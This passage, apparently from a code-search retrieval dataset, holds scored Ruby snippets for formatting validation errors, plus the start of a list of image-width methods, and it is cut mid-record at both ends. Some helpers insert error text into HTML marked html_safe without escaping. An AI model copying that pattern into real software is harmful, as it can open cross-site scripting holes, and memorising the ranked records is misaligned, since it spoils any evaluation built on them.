end\n \"<div class='alert alert-error'>#{ html }</div>\".html_safe\n end\n end", "title": "" }, { "docid": "1a8ea4064ff79797a4025413344e03e8", "score": "0.59754413", "text": "def formatted_errors\n Array(self.class.settings[:log_method]).inject(\"\") do |result, log_method|\n result << errors.map do |severity, error|\n case log_method\n when :alert then \"alert(#{error.inspect});\"\n when :console then \"console.log(#{error.inspect});\"\n when :html then \"document.body.innerHTML = '<font color=red>' + #{error.inspect} + '</font><br/>' + document.body.innerHTML;\"\n end\n end.compact.join(\"\\n\") + \"\\n\"\n end\n end", "title": "" }, { "docid": "d22ae0e9cc9a39910ea7fc8c8bbf2933", "score": "0.5969157", "text": "def write_errors(obj, scope: false)\n obj.errors.map { |e| \"#{t_field(e.attribute, scope || obj.class.table_name.singularize)} #{e.message}\" }.join(', ')\n end", "title": "" }, { "docid": "15ac8f8063d99e6b3bb9365d03d1fbe1", "score": "0.5964942", "text": "def semantic_errors(*args)\n html_options = args.extract_options!\n full_errors = args.inject([]) do |array, method|\n attribute = localized_string(method, method.to_sym, :label) || humanized_attribute_name(method)\n errors = Array(@object.errors[method.to_sym]).to_sentence\n errors.present? ? array << [attribute, errors].join(\" \") : array ||= []\n end\n full_errors << @object.errors.on_base\n full_errors.flatten!\n full_errors.compact!\n return nil if full_errors.blank?\n html_options[:class] ||= \"errors\"\n template.content_tag(:ul, html_options) do\n full_errors.map { |error| template.content_tag(:li, error) }.join\n end\n end", "title": "" }, { "docid": "fd742ec66c17a383df9913adfe9a41c7", "score": "0.59535235", "text": "def to_s\n \"ValidationError on #{@element_type} #{@element_name}: #{@message}\"\n end", "title": "" }, { "docid": "f0a5b443b594767283dd63ca54de946e", "score": "0.594747", "text": "def error_messages(instance)\n @error_messages = instance.errors.messages.map do |k,v|\n k = k.capitalize\n v = v[0]\n \"#{k} #{v}. \"\n end.join(\" \")\n end", "title": "" }, { "docid": "6230b97586a9b9d26474a0d2dfd7f83f", "score": "0.5943108", "text": "def display_error\n error <<~MSG\n Sorry, please check\n your input to verify it\n is correct.\n MSG\n prompt error\nend", "title": "" }, { "docid": "8ee8db7952a60bfb39e08df2f62c57d1", "score": "0.59424734", "text": "def error_message_tag(object, field_name)\n error_messages = object.errors.full_messages_for(field_name)\n return '' if error_messages.blank?\n content_tag(:small, class: 'error') do\n error_messages.join(', ')\n end\n end", "title": "" }, { "docid": "5de2ab344aead03e7b95786ecc727ef6", "score": "0.59247625", "text": "def error_messages_for_tr(clazz)\n if clazz.present? && clazz.errors.present? && clazz.errors.count > 0\n return \"<tr><td><div class='error'>Errors: #{clazz.errors.full_messages}</div></td></tr>\".html_safe\n end\n end", "title": "" }, { "docid": "2f2e4e758244b1d774237551ba7e42ec", "score": "0.59178025", "text": "def mark_error(model, attr_name)\n if model.errors.any? && model.errors.get(attr_name) && model.errors.get(attr_name) != \"\"\n return ' error'\n end\n return ''\n end", "title": "" }, { "docid": "9fc39ccff1eed98f3f4d88ca8b0d2f01", "score": "0.59038204", "text": "def access_feedback\n error_string = ''\n error_string << I18n.t('auth.invalid_access') unless authenticated?\n error_string << I18n.t('auth.invalid_permissions') unless admin?\n error_string\n end", "title": "" }, { "docid": "3b5e1bee6818cb498aa8ad135001125c", "score": "0.5902738", "text": "def create_error_summary\n if data[:error]\n \"\\nError: #{data[:error]}\"\n elsif data[:errors]\n message = \"\\nErrors:\\n\"\n message << data[:errors].map do |error|\n case error\n when Hash\n \"Error: #{error.map { |k, v| \"#{k}: #{v}\" }.join(', ')}\"\n else\n \"Error: #{error}\"\n end\n end.join(\"\\n\")\n end\n end", "title": "" }, { "docid": "ff19466b42968e4219b7ddee674ec0f4", "score": "0.59002423", "text": "def cleaned_error_message(error)\n case error.class.to_s\n when \"PG::UniqueViolation\", \"ActiveRecord::RecordNotUnique\"\n error.message.to_s.gsub(/\\)=\\(.*\\)/, \")=(?)\")\n else\n error.message.to_s\n end\n end", "title": "" }, { "docid": "6442fdcc647dde13145a618b037f3aae", "score": "0.5871841", "text": "def error\r\n\t\t\t`#{BITS::BITSADMIN} /geterror {#{@id}}`\r\n\t\tend", "title": "" }, { "docid": "b99727ecda7123025e2bad312fe5e3d8", "score": "0.58695066", "text": "def format_error(params)\n if params.blank?\n return \"\"\n else\n html_inicial = %( <div id=\"flash_error\">\n <div class=\"flash_error_interno\">\n <div class=\"boton_cerrar\">\n <a title=\"#{t(\"close_error\")}\" class=\"close_error\">X</a>\n </div> )\n html_final = %( </div>\n </div> )\n\n # Si recibe un string o si recibe un array\n if params.class.to_s.downcase == \"string\"\n html_medio = \"<li>#{params}</li>\"\n\n elsif params.class.to_s.downcase == \"array\"\n html_medio = \"\"\n params.each{|a| html_medio += \"<li>\" + a + \"</li>\"}\n end\n\n return html_inicial + html_medio + html_final\n end\n end", "title": "" }, { "docid": "921f6aa3d278a19a09af6c241461fa46", "score": "0.58676714", "text": "def form_for_errs(pref, obj)\n obj.errors.to_hash.to_a.map do |name_err|\n form_err_js \"#{pref}_#{name_err[0]}\", name_err[1][0]\n end.join\n end", "title": "" }, { "docid": "4b694b817e06d89339db6d5a99c3fa2c", "score": "0.5861169", "text": "def error_color(text)\r\n \"<font color=red>#{text}</font>\"\r\n end", "title": "" }, { "docid": "d19f775b7fa0769a3f7c74cf6cf5abf1", "score": "0.5855775", "text": "def error\n valid? ? nil : @error_message\n end", "title": "" }, { "docid": "43e56cadd4534648aa9ec60152e7cfba", "score": "0.5852315", "text": "def form_field_error(object, attribute)\n if object.errors[attribute].any?\n content_tag(:span, object.errors[attribute].to_sentence, class: 'error')\n end\n end", "title": "" }, { "docid": "4cc3a14e9c19e5a770334477c9306e83", "score": "0.58518", "text": "def pretty(error)\n data, data_pointer, type, schema = error.values_at('data', 'data_pointer', 'type', 'schema')\n location = data_pointer.empty? ? 'root' : data_pointer\n\n case type\n when 'required'\n keys = error.fetch('details').fetch('missing_keys').join(', ')\n _(\"%{location} is missing required keys: %{keys}\") % { location: location, keys: keys }\n when 'null', 'string', 'boolean', 'integer', 'number', 'array', 'object'\n _(\"'%{data}' at %{location} is not of type: %{type}\") % { data: data, location: location, type: type }\n when 'pattern'\n _(\"'%{data}' at %{location} does not match pattern: %{pattern}\") % { data: data, location: location, pattern: schema.fetch('pattern') }\n when 'format'\n _(\"'%{data}' at %{location} does not match format: %{format}\") % { data: data, location: location, format: schema.fetch('format') }\n when 'const'\n _(\"'%{data}' at %{location} is not: %{const}\") % { data: data, location: location, const: schema.fetch('const').inspect }\n when 'enum'\n _(\"'%{data}' at %{location} is not one of: %{enum}\") % { data: data, location: location, enum: schema.fetch('enum') }\n else\n _(\"'%{data}' at %{location} is invalid: error_type=%{type}\") % { data: data, location: location, type: type }\n end\n end", "title": "" }, { "docid": "dc4f76a2717795863729514f7a0016a3", "score": "0.5848017", "text": "def generate_card_error_msg(card)\n if card.valid?\n ''\n else\n error_message = ''\n \n # Key -> [error array]\n card.errors.each do |key, errors|\n if !errors.empty?\n errors.each do |error|\n if !error_message.blank?\n error_message += '; '\n end\n \n error_message += \"#{key} #{error}\"\n end\n end\n end\n \n error_message\n end\n end", "title": "" }, { "docid": "09539a73b0f829e24c599b969fd0fa0e", "score": "0.5836538", "text": "def error_messages\n unless @comment.nil?\n engine = gen_haml('error_messages.haml')\n engine.render(action_view_context, {target: @comment, :@controller => @controller})\n end\n end", "title": "" } ]
7f1b60e1e35643540efd65006660af5d
the purpose of this method is to return a single host for the backend connection which is determined by this operators method of loadbalancing
[ { "docid": "a1259eb04575372d34d2d8e5625ce421", "score": "0.0", "text": "def lookup_jack(data)\n addresses = []\n jack = nil\n \n @@mutex.synchronize {\n addresses = @address_book.lookup_addresses(data)\n }\n LOGGER.debug(\"Operator has #{addresses.size} choice(s) to pick from - selecting one at random.\")\n jack = addresses[rand(addresses.size)] if addresses.any?\n return jack\n end", "title": "" } ]
[ { "docid": "59035323590474b7e22ce5b2d3dd5772", "score": "0.77982885", "text": "def host\n active_backend.host\n end", "title": "" }, { "docid": "5f88a39f43f24099f36880ec9a297266", "score": "0.74683577", "text": "def host\n @manager.primary_pool.host\n end", "title": "" }, { "docid": "ea88a33442b3c120fce7d1e883cb1e5b", "score": "0.7312343", "text": "def get_host\n @host\n end", "title": "" }, { "docid": "89220596ea3bc7f2220ce3414bc0c668", "score": "0.72258073", "text": "def host\n return @host\n end", "title": "" }, { "docid": "89220596ea3bc7f2220ce3414bc0c668", "score": "0.72258073", "text": "def host\n return @host\n end", "title": "" }, { "docid": "2bd6da8ec23cc403a0b9353485a479a0", "score": "0.72002476", "text": "def host\r\n return for_context(nil, false) { |c| c.host }\r\n end", "title": "" }, { "docid": "e649136d6c7f4c09de76260a21bda2c2", "score": "0.71673524", "text": "def default_host\n host_list.first\n end", "title": "" }, { "docid": "1f58eb92d4122dd8c484d45d6c24b61c", "score": "0.71130836", "text": "def target_host\n\t\tif(self.respond_to?('rhost'))\n\t\t\treturn rhost()\n\t\tend\n\n\t\tif(self.datastore['RHOST'])\n\t\t\treturn self.datastore['RHOST']\n\t\tend\n\n\t\tnil\n\tend", "title": "" }, { "docid": "c1cf8eaad87d6f826fceec4051b12306", "score": "0.7098023", "text": "def host\n @host\n end", "title": "" }, { "docid": "c1cf8eaad87d6f826fceec4051b12306", "score": "0.7098023", "text": "def host\n @host\n end", "title": "" }, { "docid": "81a1795a4840670cdc78954ad752a6df", "score": "0.7067339", "text": "def host\n self.host\n end", "title": "" }, { "docid": "000f0a66861a4c245c37f680912716f5", "score": "0.7059431", "text": "def host\n nodes[0][0]\n end", "title": "" }, { "docid": "2f0552f129fc3778459821e7d1a719fb", "score": "0.7047713", "text": "def host\n return @host if @host\n @host = if host_group_mob.nil? || host_group_rule_type == CLUSTER_VM_HOST_RULE_SHOULD\n mob.host\n else\n host_group_mob.host\n end\n end", "title": "" }, { "docid": "999b5f72a8a48838a0ff279fd273ebd5", "score": "0.704586", "text": "def host\n @host\n end", "title": "" }, { "docid": "9e40789dcbae3ba8279ebafaecd1cbe1", "score": "0.7042603", "text": "def host\n @connection.host\n end", "title": "" }, { "docid": "39b75a917dcc0e6bc6914f2cfdf6561d", "score": "0.70016503", "text": "def host\n\t\t\t# FIXME: This is both a hack and the best way I know to do this.\n\t\t\tSocket.getaddrinfo(Socket.gethostname, 0)[0][2]\n\t\tend", "title": "" }, { "docid": "42fad73fce61b6ffe7dd66ce972e1e14", "score": "0.6879702", "text": "def host\n Socket.gethostname\n end", "title": "" }, { "docid": "42fad73fce61b6ffe7dd66ce972e1e14", "score": "0.6878697", "text": "def host\n Socket.gethostname\n end", "title": "" }, { "docid": "fed62b58bc963407cb0e0044e4e28af7", "score": "0.6865618", "text": "def host_ip\n Socket.gethostbyname(@backend.host)[3].unpack('CCCC') rescue [0, 0, 0, 0]\n end", "title": "" }, { "docid": "fd78c88ec292c26761294fa1c905e585", "score": "0.68620175", "text": "def find_connection host_info\n conn = @backend_connections.detect { |x| x.server_info == host_info }\n raise NoServerAvailable.new(\"BackgrounDRb server is not found running on #{host_info}\") unless conn\n return conn\n end", "title": "" }, { "docid": "7060b7ef6c732bd291508232636de27f", "score": "0.6769718", "text": "def get_host( name )\n @hosts[ name ]\n end", "title": "" }, { "docid": "3e1ee613ab12a3ec0119b274a85af03a", "score": "0.6765645", "text": "def host\n return @forwarded_host || @host\n end", "title": "" }, { "docid": "49363ba5a84d907cab39102347989df1", "score": "0.6740252", "text": "def hostname\n return @hostname\n end", "title": "" }, { "docid": "e2ddf1adc4ff03fb0650495128fbd656", "score": "0.67147034", "text": "def host\n @host ||= Babushka::SystemProfile.for_host\n end", "title": "" }, { "docid": "a5c0b5f61061dd59db5f0356f4f7237d", "score": "0.6688338", "text": "def host\n attributes['host']\n end", "title": "" }, { "docid": "02b6c147c187fddb2bd493d673a34931", "score": "0.6637923", "text": "def host_or_domain\n return @host_or_domain\n end", "title": "" }, { "docid": "98d50e843dfa629e35c686d0a439d39d", "score": "0.66335183", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "4451538c4347c1ca6a563dd6d5b7992a", "score": "0.6629777", "text": "def host\n @host ||= target.split(':',2).first\n end", "title": "" }, { "docid": "30fa70ca0dd9985fc9ef9c56b4c82d07", "score": "0.66190785", "text": "def concierge_host\n context[:host]\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.6608044", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.6608044", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "e182d5f85d08cad205332d41269bf1b3", "score": "0.6601409", "text": "def this_host_name\n if is_zz?\n return zz[:local_hostname]\n end\n\n return @this_host_name if @this_host_name != nil\n\n instances = ey['environment']['instances']\n # assume localhost if can't find\n @this_host_name = 'localhost'\n\n this_id = this_instance_id\n instances.each do |instance|\n if instance['id'] == this_id\n @this_host_name = instance['private_hostname']\n break\n end\n end\n @this_host_name\n end", "title": "" }, { "docid": "03fbc60b24c1787b3746e05a996ccd06", "score": "0.6597064", "text": "def host\n @host = self.hostuser\n end", "title": "" }, { "docid": "cc73a419f462dc09c3ab86c82703eb40", "score": "0.6583144", "text": "def get_host(opts)\n if opts.kind_of? ::Mdm::Host\n return opts\n elsif opts.kind_of? String\n raise RuntimeError, \"This invocation of get_host is no longer supported: #{caller}\"\n else\n address = opts[:addr] || opts[:address] || opts[:host] || return\n return address if address.kind_of? ::Mdm::Host\n end\n ::ApplicationRecord.connection_pool.with_connection {\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n\n address = Msf::Util::Host.normalize_host(address)\n return wspace.hosts.find_by_address(address)\n }\n end", "title": "" }, { "docid": "c6f7ff8d9d6ef550ad89ab587ce2d330", "score": "0.65827364", "text": "def redis_host_name\n if is_zz?\n return app_config[:redis_host]\n end\n\n return @redis_host_name if @redis_host_name != nil\n\n instances = ey['environment']['instances']\n # assume solo machine\n @redis_host_name = this_host_name\n\n # not solo so see if we are db_master which\n # is where we host redis\n instances.each do |instance|\n if instance['role'] == 'db_master'\n @redis_host_name = instance['private_hostname']\n break\n end\n end\n @redis_host_name\n end", "title": "" }, { "docid": "ab77960cf8508909bea6825a4604bf1d", "score": "0.6544251", "text": "def hostname\n Socket.gethostname.split('.').first.strip\n end", "title": "" }, { "docid": "3d3bec65beb71f2511d077400b3b637c", "score": "0.65415007", "text": "def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end", "title": "" }, { "docid": "938e956832f87b8b9dcf29acfc61b924", "score": "0.65332246", "text": "def host\n @config.db_hostname\n end", "title": "" }, { "docid": "e343861c012f35a1e8bd84e8e759fb17", "score": "0.6523817", "text": "def host_id; 'localhost' end", "title": "" }, { "docid": "03e04466e376e3109c2e74f8e2a62efe", "score": "0.65231854", "text": "def first_db_host\n @db_host ||= find_servers(:roles => :db).map(&:to_s).first\nend", "title": "" }, { "docid": "94d79c8e9fba366ed912b51a91442202", "score": "0.65107334", "text": "def hostname\n v = self.host\n v&.start_with?('[') && v.end_with?(']') ? v[1..-2] : v\n end", "title": "" }, { "docid": "c069af7a3f6e842f6769f36bd8a48fee", "score": "0.6505768", "text": "def hostname\n name + '.localhost'\n end", "title": "" }, { "docid": "b1679fcbb940e453c9fbf86686dc24af", "score": "0.6502954", "text": "def hostname\n @options[:host][:name] if @options[:host]\n end", "title": "" }, { "docid": "cd2fa11064b3f841f57bef95cc1fca72", "score": "0.64741147", "text": "def host\n @context.registers[:host]\n end", "title": "" }, { "docid": "1b9f8c891ed2fd9bad73da2aa98d499e", "score": "0.6470768", "text": "def remote_host\n # NOTE: Celluloid::IO does not yet support non-blocking reverse DNS\n @socket.peeraddr(true)[2]\n end", "title": "" }, { "docid": "35c8951417d7aa77f199fabf6b4a9c46", "score": "0.64692116", "text": "def [](hostname)\n return nil if @hosts[hostname].nil?\n @hosts[hostname][:host]\n end", "title": "" }, { "docid": "39ded16cdaf9f493c36650325e9ff9c6", "score": "0.64629805", "text": "def host(h = nil)\n if h\n @host = h\n else\n @host\n end\n end", "title": "" }, { "docid": "9b82a482db8067fd6ab4bf6ee6d55894", "score": "0.64095557", "text": "def socket_host; end", "title": "" }, { "docid": "7780affccfd86d50f3153fbd0b3c2c87", "score": "0.6406862", "text": "def to_host\n self\n end", "title": "" }, { "docid": "cb7244e46bff61152057293b4a8989f4", "score": "0.63987523", "text": "def get_host(endpoint)\n puts \"recieved : \"+ endpoint.to_s\n puts \"port : \"+ endpoint.port.to_s\n if endpoint.port\n if ((endpoint.port == 443) || (endpoint.port == 80))\n return endpoint.host\n else\n return endpoint.host + \":\" + endpoint.port.to_s\n end\n else\n #return endpoint.host\n return endpoint.host + \":\" + endpoint.port.to_s\n end\n end", "title": "" }, { "docid": "b3e974a1586209893ead490000f7b14e", "score": "0.6389756", "text": "def hostname\n session.transport.socket.client_name\n end", "title": "" }, { "docid": "29c848eaef478b406a6901549010aea1", "score": "0.638782", "text": "def host_info\n @host_info\n end", "title": "" }, { "docid": "a0a307280b0c30b1da7e7e33573290ba", "score": "0.6382395", "text": "def normalized_host; end", "title": "" }, { "docid": "4e4ffc91d1b3664b0b46305441d5a66e", "score": "0.6371009", "text": "def host\n @request['Host']\n end", "title": "" }, { "docid": "f982025f9368628578081b38b429edd4", "score": "0.63634586", "text": "def getHostConfig(host=nil)\n host=@hostname if host.nil?\n hc=self[host.to_sym]\n raise \"HostConfig not found for #{host}\" if hc.nil?\n HostConfig.new(:hc=>hc, :logger=>@log)\n end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "4a5a6e95b2c222884610a08c943308d6", "score": "0.6362493", "text": "def host; end", "title": "" }, { "docid": "52bacf6b165edb72e8efe912d887ae66", "score": "0.63618356", "text": "def default_host\n primary_host = hosts.primary.first\n primary_host.blank? ? \"#{subdomain}.adaptapp.com\" : primary_host.hostname\n end", "title": "" }, { "docid": "c5abf16fe4ab96eccb58471692a38df8", "score": "0.6305736", "text": "def host?\n self.host\n end", "title": "" }, { "docid": "443cd1a48301cfa1aa3152907a8d39e2", "score": "0.62945694", "text": "def server_host\n Socket.gethostname\n end", "title": "" }, { "docid": "69016612b2342bff13e7264f63af3523", "score": "0.62902105", "text": "def client_hostname\n @opts[:hostname]\n end", "title": "" }, { "docid": "0ec2522c89e5b43230b21c3c6bfde2d9", "score": "0.62782586", "text": "def new_hostname\n host || incremented_hostname || local_host_name\n end", "title": "" }, { "docid": "0707caa226bf66a35c3554f490d9cc11", "score": "0.6275307", "text": "def node\n @node ||= Socket.gethostname\n end", "title": "" }, { "docid": "0ea919b7e000fa9a771f0c3096c7f356", "score": "0.6271992", "text": "def get_host(host)\n\t\t\tif host == 'gateway'\n\t\t\t\tif @prod_env\n\t\t\t\t\t@gateway_prod\n\t\t\t\telse\n\t\t\t\t\t@gateway_dev\n\t\t\t\tend\n\t\t\telsif host == 'panel'\n\t\t\t\tif @prod_env\n\t\t\t\t\t@panel_prod\n\t\t\t\telse\n\t\t\t\t\t@panel_dev\n\t\t\t\tend\n\t\t\telsif host == 'minhaconta'\n\t\t\t\tif @prod_env\n\t\t\t\t\t@minhaconta_prod\n\t\t\t\telse\n\t\t\t\t\t@minhaconta_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "07fddcf12a08df4cb91ca3df65a1f83f", "score": "0.6269989", "text": "def get_host(host_id = self.current_host_id)\n if host_id\n self.is_guest_of_what.find {|host| host.id == host_id}\n else\n self.is_guest_of_what.first\n end\n end", "title": "" }, { "docid": "b44b7c65f480fd4fa5bb7a6493d4c45b", "score": "0.6267694", "text": "def get_host(opts)\n\t\tif opts.kind_of? Host\n\t\t\treturn opts\n\t\telsif opts.kind_of? String\n\t\t\traise RuntimeError, \"This invokation of get_host is no longer supported: #{caller}\"\n\t\telse\n\t\t\taddress = opts[:addr] || opts[:address] || opts[:host] || return\n\t\t\treturn address if address.kind_of? Host\n\t\tend\n\t\twspace = opts.delete(:workspace) || workspace\n\t\thost = wspace.hosts.find_by_address(address)\n\t\treturn host\n\tend", "title": "" }, { "docid": "4aaf5ee0428e160ca4d246d8ced403f4", "score": "0.6267552", "text": "def host\n \"#{request.env['rack.url_scheme']}://#{request.host}:#{request.port}\".sub(':80','')# rescue 'http://locahost:3000'\n end", "title": "" }, { "docid": "9f252ed0d11f88168f17de664243d990", "score": "0.6267312", "text": "def host\n @host ||= Chimps.config[:catalog][:host]\n end", "title": "" }, { "docid": "6cf8e318762306fa8eead7625ca57b35", "score": "0.62647027", "text": "def local_host\n get('beef.http.host') || '0.0.0.0'\n end", "title": "" }, { "docid": "41303d1d072b9f06253adb1d38716fd6", "score": "0.62602955", "text": "def hostname; end", "title": "" }, { "docid": "41303d1d072b9f06253adb1d38716fd6", "score": "0.62602955", "text": "def hostname; end", "title": "" }, { "docid": "1c7878f5f6afcc6fb76bb0826ca5dc96", "score": "0.6243093", "text": "def hostname\n @hostname ||= `hostname`.chomp\n end", "title": "" }, { "docid": "d72644934d79cbafb2d1b013bec812c9", "score": "0.62408036", "text": "def host\n @host ||= 'ec2.amazonaws.com'\n end", "title": "" }, { "docid": "17bb8bfb7d7fa9b97e04ff9df383339d", "score": "0.62400436", "text": "def host; config[:host]; end", "title": "" }, { "docid": "dd93a3f3d8cbb266404a37ffe23b1616", "score": "0.62338436", "text": "def host\n domain\n end", "title": "" }, { "docid": "0d7a8c3341e2dc0f14f2015ed6a31a58", "score": "0.6232654", "text": "def fullhost\r\n return for_context(nil, false) { |c| c.fullhost }\r\n end", "title": "" }, { "docid": "fc423716acb183302b4f287e3aa116ca", "score": "0.6229668", "text": "def host\n @host ||= 'http://open.denglu.cc'\n end", "title": "" }, { "docid": "5ad3558570abcafc21dfb18ea478cd2c", "score": "0.62282026", "text": "def get_host(name)\n # create a host object to work with\n host_obj = Com::Vmware::Vcenter::Host.new(vapi_config)\n\n if name.nil?\n host = host_obj.list\n else\n filter = Com::Vmware::Vcenter::Host::FilterSpec.new(names: Set.new([name]))\n host = host_obj.list(filter)\n end\n\n raise format(\"Unable to find target host: %s\", name) if host.empty?\n\n host[0]\n end", "title": "" }, { "docid": "755bb3f9d76b19e05a356020fdf15b5a", "score": "0.6224707", "text": "def selected_host\n\t\tselhost = Target.find(:first, :conditions => [\"selected > 0\"] )\n\t\tif selhost\n\t\t\treturn selhost.host\n\t\telse\n\t\t\treturn\n\t\tend\t\n\tend", "title": "" }, { "docid": "c7ff7c53f204988f376c7f0cd4ff3b79", "score": "0.6220423", "text": "def hostinfo\n return self.host.to_s + (self.port ? ':' + self.port.to_s : '')\n end", "title": "" }, { "docid": "e7796813753d1c6ef81eb81d5d8eb428", "score": "0.6216874", "text": "def host_as_string; end", "title": "" }, { "docid": "db433636a87f13a210389ad1271a718c", "score": "0.6211304", "text": "def hostname\n @hostname ||= `hostname`.strip\n end", "title": "" }, { "docid": "fff46fdce1f2ad05a246dc7350ea8039", "score": "0.6205673", "text": "def host\n @options[:host]\n end", "title": "" }, { "docid": "66269295f1d817e41732136651844a42", "score": "0.6202315", "text": "def host_id\n\t\t\t\"#{host}:#{port}\"\n\t\tend", "title": "" }, { "docid": "d4a29f4228cc5e8b7712614ecb4e4cfb", "score": "0.620151", "text": "def host=(_); end", "title": "" }, { "docid": "620d31dce530d3081c15d3a4e1966b82", "score": "0.61929023", "text": "def postgresql_primary_server\n raise \"FIXME please implement to return a hash with :hostname, :ip, and :internal_ip of primary server\"\n end", "title": "" }, { "docid": "2355540a108ca0edc43154dbcb8aaa79", "score": "0.6190123", "text": "def hostname\n hostname = nil\n run \"hostname\" do |channel, stream, data|\n hostname = data.chomp\n end\n hostname\n end", "title": "" }, { "docid": "896de3e064ff7699a28d758a42cee742", "score": "0.6187137", "text": "def public_host\n get('beef.http.public.host')\n end", "title": "" }, { "docid": "63a0064f6596157f04538dda82ef110f", "score": "0.61841965", "text": "def name\n \"#{self[:host]}\"\n end", "title": "" }, { "docid": "4188bdc526cfd59703a59176b96cddcf", "score": "0.6177457", "text": "def hostname(node)\n \"#{node.to_s}.smartengine.local\"\nend", "title": "" }, { "docid": "86e139294dfcf0f9fe8c64ca7141d0d9", "score": "0.61736465", "text": "def lookup_hostname(endpoint)\n @resolved_hostnames.select{ |k,v| v.include?(endpoint) }.shift[0]\n end", "title": "" }, { "docid": "e636ece2db7f9a591aedff0e8da54fee", "score": "0.61725897", "text": "def get_host\n host=%x(/usr/sbin/dsconfigad -show | /usr/bin/awk '/Computer Account/ {print $4}').chomp\n return host\n raise Error, \"this machine must not be bound to AD.\\n try again.\" if host == nil\nend", "title": "" }, { "docid": "e636ece2db7f9a591aedff0e8da54fee", "score": "0.61725897", "text": "def get_host\n host=%x(/usr/sbin/dsconfigad -show | /usr/bin/awk '/Computer Account/ {print $4}').chomp\n return host\n raise Error, \"this machine must not be bound to AD.\\n try again.\" if host == nil\nend", "title": "" }, { "docid": "eaa7c9e38a4d81ff4ed53de908a4182c", "score": "0.6168766", "text": "def host(node)\n serial_number = node.serialNumber\n Host.find_by(:service_tag => serial_number) ||\n Host.joins(:hardware).find_by('hardwares.serial_number' => serial_number)\n end", "title": "" } ]
f888256c60ca7e6753cee684df838316
Get Width of Face Graphic
[ { "docid": "bdab0ce8b9eb8aa5b0b45dac4cfe3147", "score": "0.7815219", "text": "def face_width\n return 0\n end", "title": "" } ]
[ { "docid": "4329a60d9b85a14dc7f44bc7693a6c0e", "score": "0.79187095", "text": "def face_width\r\n return 96\r\n end", "title": "" }, { "docid": "494d8fd9aad0a74bcd28d39813e3413e", "score": "0.7821752", "text": "def face_width\n return 96\n end", "title": "" }, { "docid": "fb53cc18427f0f248dd9b7a1396985cc", "score": "0.7286052", "text": "def width\n @graphics.map.with_index do |graphic, i|\n graphic.width + @graphics_pos[i].x\n end.max\n end", "title": "" }, { "docid": "78f74b11bd8d6ecb3e8608650eafde0c", "score": "0.71839756", "text": "def width\n @graphic_width ||= 0\n end", "title": "" }, { "docid": "b6525e6ab0612c223104b128d46895bc", "score": "0.7097709", "text": "def calc_width\n Graphics.width\n end", "title": "" }, { "docid": "c554eb80bc1c2c061c6174bf8fffed84", "score": "0.700954", "text": "def width\n @graphic.split(\"\\n\").map(&:length).max\n end", "title": "" }, { "docid": "9ecf2d4f7acba0bfc39a201316acbb01", "score": "0.69353735", "text": "def width\n dimensions[0]\n end", "title": "" }, { "docid": "67bfea3904ee6b80ff47ca9ffc5c89a3", "score": "0.69201946", "text": "def width\r\n (@image.width * @factor_x).abs if @image\r\n end", "title": "" }, { "docid": "3cb5c1139be5ca43f23657b47c06402e", "score": "0.6894945", "text": "def width\r\n (@image.width * @factor_x).abs\r\n end", "title": "" }, { "docid": "7df5463f26b005b5fd3d81117defd4b4", "score": "0.6883354", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "7df5463f26b005b5fd3d81117defd4b4", "score": "0.6883354", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "7df5463f26b005b5fd3d81117defd4b4", "score": "0.6883354", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "7df5463f26b005b5fd3d81117defd4b4", "score": "0.6883354", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "7df5463f26b005b5fd3d81117defd4b4", "score": "0.6883354", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "2ee8bd96b6eec795ee8d44a704e675e2", "score": "0.68705624", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "6e7e5cde25cf8188ba5165a32121af39", "score": "0.6848793", "text": "def width\n CGPathGetBoundingBox(@path).size.width\n end", "title": "" }, { "docid": "ccadeb30eea79578831bcb0e52ef2856", "score": "0.6809155", "text": "def width\n size[0]\n end", "title": "" }, { "docid": "dc4597b1509b0760ccce3095b813aea9", "score": "0.6801104", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "dc4597b1509b0760ccce3095b813aea9", "score": "0.6801104", "text": "def getWidth\n @width\n end", "title": "" }, { "docid": "5e65bd020d395cb5617e77a195a3a28d", "score": "0.68007183", "text": "def width\n @image[\"width\"]\n end", "title": "" }, { "docid": "f4b76f6af44e6725ed72f534a28ccff4", "score": "0.6800598", "text": "def width\n mini_magick_image[:width]\n end", "title": "" }, { "docid": "952ac2b3df096d0ebab1dcc5f21fac35", "score": "0.67954624", "text": "def width\n bitmap.width\n end", "title": "" }, { "docid": "fb81af9d0b6c45dad495828c1c303cab", "score": "0.6788001", "text": "def width\n canvas[\"resource\"][\"width\"].to_i\n end", "title": "" }, { "docid": "88e59fa5e1a39af798c5cd276d2a2b2e", "score": "0.6774597", "text": "def width\n size[0]\n end", "title": "" }, { "docid": "1aedfc96c0841b34e18bfb79c0f3e637", "score": "0.67665195", "text": "def width\r\n return src_rect.width\r\n end", "title": "" }, { "docid": "6c9cc4d28fc1a453708e6b29ae3f1992", "score": "0.67654705", "text": "def width_of image; return run(\"sips #{image} -g pixelWidth\").split(' 